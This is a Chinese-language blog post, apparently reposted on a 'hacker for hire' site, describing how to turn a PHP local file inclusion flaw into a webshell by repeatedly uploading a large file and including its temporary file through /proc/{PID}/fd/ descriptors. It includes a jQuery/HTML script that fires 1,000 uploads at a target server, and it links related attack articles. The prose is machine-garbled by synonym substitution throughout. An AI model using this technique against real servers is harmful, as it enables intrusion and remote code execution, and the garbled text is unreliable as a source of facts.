把PHP LFI缝隙变为Webshell的形式

访客5年前黑客资讯1010

存眷PHP缝隙的同伙必定知道LFI+phpinfo可以搞出一个webshell。 LFI这个条件还算异常,但phpinfo这个照样比较难凑的,所以有点鸡肋。接下来,我共享一个……异常鸡肋的思绪……人人先把屠刀放下!当然鸡肋,但思绪照样值得探求的。
原由是一篇老外写的文章,读完后创造他的思绪或许可以和PHP LFI联合。 文章后边写Java那段确实就是意淫,然则起先说到当linux进程访问一个文件的时间会在/proc/{PID}/fd/下创建一个文件描绘符来指向被访问的文件。比如/proc/1234/fd/5会指向/tmp/tmpXXX。而假设你cat proc/1234/fd/5,就会看到/tmp/tmpXXX的内容。而我们知道,向任何php剧本发送上传文件的乞求,php都邑创建一个暂时文件来保存上传确当内容,当php剧本实行中止才删去这个暂时文件。那末当创建暂时文件的时间,必定会创建呼应的文件描绘符。假设我们能找到对应的文件描绘,应当就可以经由进程文件包含完结webshell了。一初步我想难点是猜出PID和文件描绘符编号,PID异常往常是几千,apache进程的文件描绘符编号异常往常就只在1-20之间,所以理论上暴力破解真实不难。起先我创造真实搞定PID和文件描绘符编号要比想象中简略得多。
实验步骤我就写得简练一点了。
首先,我们必要赓续上传文件到随意率性php剧本,这个文件更好还大一些。我用的是一个或许4mb的文件,彷佛上传文件有大小限制,太大的文件我没有实验成功,也没有穷究。然后就是写个法度赓续上传这个文件就好,我用的是jquery+HTML。更志向一点应当是用python/java跑多线程。如下是源代码:
html>body> script src="https://code.jquery.com/jquery-1.10.2.js">script>form id="form" action="http://192.168.174.128/Default.php" method="post" enctype="multipart/form-data">input type="file" name="test">input type="submit">form> script>$( "form" ).submit(function( event ) {    uploadFiles(event);    return;});var files;$('input[type=file]').on('change', prepareUpload);function prepareUpload(event){  files = event.target.files;}function uploadFiles(event){  event.stopPropagation();     event.preventDefault();    var data = new FormData();    $.each(files, function(key, value)    {        data.append(key, value);    });    var i=0;    for(;i1000;i++){        $.ajax({            url: 'http://192.168.174.128/Default.php',            type: 'POST',            data: data,            cache: false,            dataType: 'json',            processData: false,             contentType: false,             success: function(data, textStatus, jqXHR)            {                if(typeof data.error === 'undefined')                {                    submitForm(event, data);                }                else                {                    console.log('ERRORS: ' + data.error);                }            },            error: function(jqXHR, textStatus, errorThrown)            {                console.log('ERRORS: ' + textStatus);            }        });        //wait(100);    }}function wait(ms){   var start = new Date().getTime();   var end = start;   while(end      end = new Date().getTime();  }}script>body>html>
工作截图:

工作后可以在服务器上看到如下效果:

[1] [2]  黑客接单网

相关文章

东西引荐:Raptor WAF,轻量级WEB使用防火墙

  Raptor是一款选用C言语编写的WEB运用防火墙,运用DFA来阻挠SQL注入、Xss目录遍历等进犯。 编译&装置 $ git clone https://github.com/Cool...

运用Python检测并绕过Web应用程序防火墙

Web运用防火墙一般会被布置在Web客户端与Web服务器之间,以过滤来自服务器的歹意流量。而作为一名浸透测验人员,想要更好的打破方针体系,就有必要要了解方针体系的WAF规矩。现在,许多WAF都是根据签...

你还在重视勒索病毒?他人现已转行挖矿

导语:近来,腾讯游戏安全中心捕获一款网吧内传达的歹意软件。原以为是惯例的网吧盗号木马,但详细剖析之后发现并非如此。经证明该歹意软件是现在发现的首款运用Windows SMB缝隙传达,开释虚拟钱银矿机挖...

RFI绕过URL包含限制Getshell-黑客接单平台

为什么有今日这篇文章?原因是我在阅读Twitter时,发现关于长途文件包括RFI的一个奇淫技巧!值得记载一下,思路也很别致!由于它打破我之前认为RFI已死的观念:) 正文 RFI引出 咱们知道php最...

浏览器进犯结构BeEF Part 1

笔者发现国内很少有体系介绍BeEF结构的文章,所以笔者决议写一个系列。内容触及进犯浏览器的技能,首要介绍这些技能的原理,并怎么操作BeEF来完成,不触及浏览器自身缝隙(门槛太高,笔者有心无力)。 准备...

谈谈Json格式下的CSRF攻击-黑客接单平台

一、CSRF缝隙简介 csrf缝隙的成因便是网站的cookie在浏览器中不会过期,只需不封闭浏览器或许退出登录,那今后只需是拜访这个网站,都会默许你现已登录的状况。而在这个期间,进犯者发送了结构好的c...